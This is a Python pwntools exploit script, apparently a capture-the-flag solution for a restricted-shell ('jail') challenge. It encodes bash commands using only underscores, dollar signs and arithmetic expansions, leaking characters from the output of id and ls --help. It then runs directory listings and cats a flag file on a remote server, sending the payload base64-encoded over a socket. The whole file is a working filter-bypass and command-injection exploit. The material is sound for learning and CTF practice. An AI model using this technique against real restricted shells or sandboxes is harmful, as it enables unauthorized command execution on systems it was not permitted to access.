pox_jail_ex.py

#!/usr/bin/env python
from pwn import *
from subprocess import check_output
def N(n):
    s = ['__' for x in xrange(n % 10)]
    s += ['___' for x in xrange(n % 100 / 10)]
    s += ['____' for x in xrange(n / 100)]
    return '$[{}]'.format('+'.join(s))
C = lambda s,c:''.join([('${_____:%s:%s}' % (N(s.index(i)), N(1))) for i in c])
def cmd(c):
    r = check_output([c, '--help']).split('\n')[:-1]
    r.insert(-2, 'Report {} translation bugs to <http://translationproject.org/team/>'.format(c))
    return ' '.join(r)
leak = '/home/id' # step1
leak += 'uid=1000(id) gid=1000(id) groups=1000(id)' # step2
leak += cmd('id') # step3
leak += cmd('ls') # final
code = ''
code += '$[__++];' # 2 __ = 1
code += '___=$[__'+'+__'*9+'];' # 3 ___ = 10
code += '____=$[___'+'+___'*9+'];' # 4 ____ = 100
code += '_____=~;' # 5 _____ = /home/id
code += '_____=$_____$('+C(leak, 'id')+');' # step1
code += '_____=$_____$('+C(leak, 'id ')+'--'+C(leak, 'h')+');' # step2
code += '_____=$_____$('+C(leak, 'ls --help')+');' # step3
code += C(leak, 'ls -al')+';' # directory listing
code += C(leak, 'ls -al th1s_1s_FLAG_D1R3CT0RY')+';' # ls flag
code += C(leak, 'cat th1s_1s_FLAG_D1R3CT0RY/<HELLO_I_AM_THE_FLAG_README_IF_YOU_CAN>') # cat flag
p = remote("128.199.253.132", 8259)
p.recvuntil("# ")
print code
p.sendline(code.encode('base64').replace('\n',''))
p.interactive()